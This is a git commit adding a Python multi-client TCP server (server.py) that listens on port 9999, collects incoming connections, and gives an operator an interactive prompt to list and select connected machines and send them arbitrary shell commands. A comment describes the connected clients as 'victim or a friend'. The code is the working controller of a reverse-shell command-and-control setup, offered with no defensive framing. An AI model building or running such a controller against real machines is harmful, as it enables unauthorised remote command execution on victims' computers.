added
This commit is contained in:
174
tcp_server_python/multi/server.py
Executable file
174
tcp_server_python/multi/server.py
Executable file
@@ -0,0 +1,174 @@
|
||||
import socket
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from queue import Queue
|
||||
|
||||
NUMBER_OF_THREADS = 2
|
||||
JOB_NUMBER = [1, 2]
|
||||
queue = Queue()
|
||||
all_connections = []
|
||||
all_address = []
|
||||
|
||||
|
||||
# Create a Socket ( connect two computers)
|
||||
def create_socket():
|
||||
try:
|
||||
global host
|
||||
global port
|
||||
global s
|
||||
host = "0.0.0.0"
|
||||
port = 9999
|
||||
s = socket.socket()
|
||||
|
||||
except socket.error as msg:
|
||||
print("Socket creation error: " + str(msg))
|
||||
|
||||
|
||||
# Binding the socket and listening for connections
|
||||
def bind_socket():
|
||||
try:
|
||||
global host
|
||||
global port
|
||||
global s
|
||||
print("Binding the Port: " + str(port))
|
||||
|
||||
s.bind((host, port))
|
||||
s.listen(5)
|
||||
|
||||
except socket.error as msg:
|
||||
print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
|
||||
bind_socket()
|
||||
|
||||
|
||||
# Handling connection from multiple clients and saving to a list
|
||||
# Closing previous connections when server.py file is restarted
|
||||
|
||||
def accepting_connections():
|
||||
for c in all_connections:
|
||||
c.close()
|
||||
|
||||
del all_connections[:]
|
||||
del all_address[:]
|
||||
|
||||
while True:
|
||||
try:
|
||||
conn, address = s.accept()
|
||||
s.setblocking(1) # prevents timeout
|
||||
|
||||
all_connections.append(conn)
|
||||
all_address.append(address)
|
||||
|
||||
print("Connection has been established :" + address[0])
|
||||
|
||||
except:
|
||||
print("Error accepting connections")
|
||||
|
||||
|
||||
# 2nd thread functions - 1) See all the clients 2) Select a client 3) Send commands to the connected client
|
||||
# Interactive prompt for sending commands
|
||||
# turtle> list
|
||||
# 0 Friend-A Port
|
||||
# 1 Friend-B Port
|
||||
# 2 Friend-C Port
|
||||
# turtle> select 1
|
||||
# 192.168.0.112> dir
|
||||
|
||||
|
||||
def start_turtle():
|
||||
|
||||
while True:
|
||||
cmd = input('command list or select > ')
|
||||
if cmd == 'list':
|
||||
list_connections()
|
||||
elif 'select' in cmd:
|
||||
conn = get_target(cmd)
|
||||
if conn is not None:
|
||||
send_target_commands(conn)
|
||||
|
||||
else:
|
||||
print("Command not recognized")
|
||||
|
||||
|
||||
# Display all current active connections with client
|
||||
|
||||
def list_connections():
|
||||
results = ''
|
||||
|
||||
for i, conn in enumerate(all_connections):
|
||||
try:
|
||||
conn.send(str.encode(' '))
|
||||
conn.recv(20480)
|
||||
except:
|
||||
del all_connections[i]
|
||||
del all_address[i]
|
||||
continue
|
||||
|
||||
results = str(i) + " " + str(all_address[i][0]) + " " + str(all_address[i][1]) + "\n"
|
||||
|
||||
print("----Clients----" + "\n" + results)
|
||||
|
||||
|
||||
# Selecting the target
|
||||
def get_target(cmd):
|
||||
try:
|
||||
target = cmd.replace('select ', '') # target = id
|
||||
target = int(target)
|
||||
conn = all_connections[target]
|
||||
print("You are now connected to :" + str(all_address[target][0]))
|
||||
print(str(all_address[target][0]) + ">", end="")
|
||||
return conn
|
||||
# 192.168.0.4> dir
|
||||
|
||||
except:
|
||||
print("Selection not valid")
|
||||
return None
|
||||
|
||||
|
||||
# Send commands to client/victim or a friend
|
||||
def send_target_commands(conn):
|
||||
while True:
|
||||
try:
|
||||
cmd = input()
|
||||
if cmd == 'exit':
|
||||
break
|
||||
if len(str.encode(cmd)) > 0:
|
||||
conn.send(str.encode(cmd))
|
||||
client_response = str(conn.recv(20480), "utf-8")
|
||||
print(client_response, end="")
|
||||
except:
|
||||
print("Error sending commands")
|
||||
break
|
||||
|
||||
|
||||
# Create worker threads
|
||||
def create_workers():
|
||||
for _ in range(NUMBER_OF_THREADS):
|
||||
t = threading.Thread(target=work)
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
|
||||
# Do next job that is in the queue (handle connections, send commands)
|
||||
def work():
|
||||
while True:
|
||||
x = queue.get()
|
||||
if x == 1:
|
||||
create_socket()
|
||||
bind_socket()
|
||||
accepting_connections()
|
||||
if x == 2:
|
||||
start_turtle()
|
||||
|
||||
queue.task_done()
|
||||
|
||||
|
||||
def create_jobs():
|
||||
for x in JOB_NUMBER:
|
||||
queue.put(x)
|
||||
|
||||
queue.join()
|
||||
|
||||
|
||||
create_workers()
|
||||
create_jobs()
|
||||
Reference in New Issue
Block a user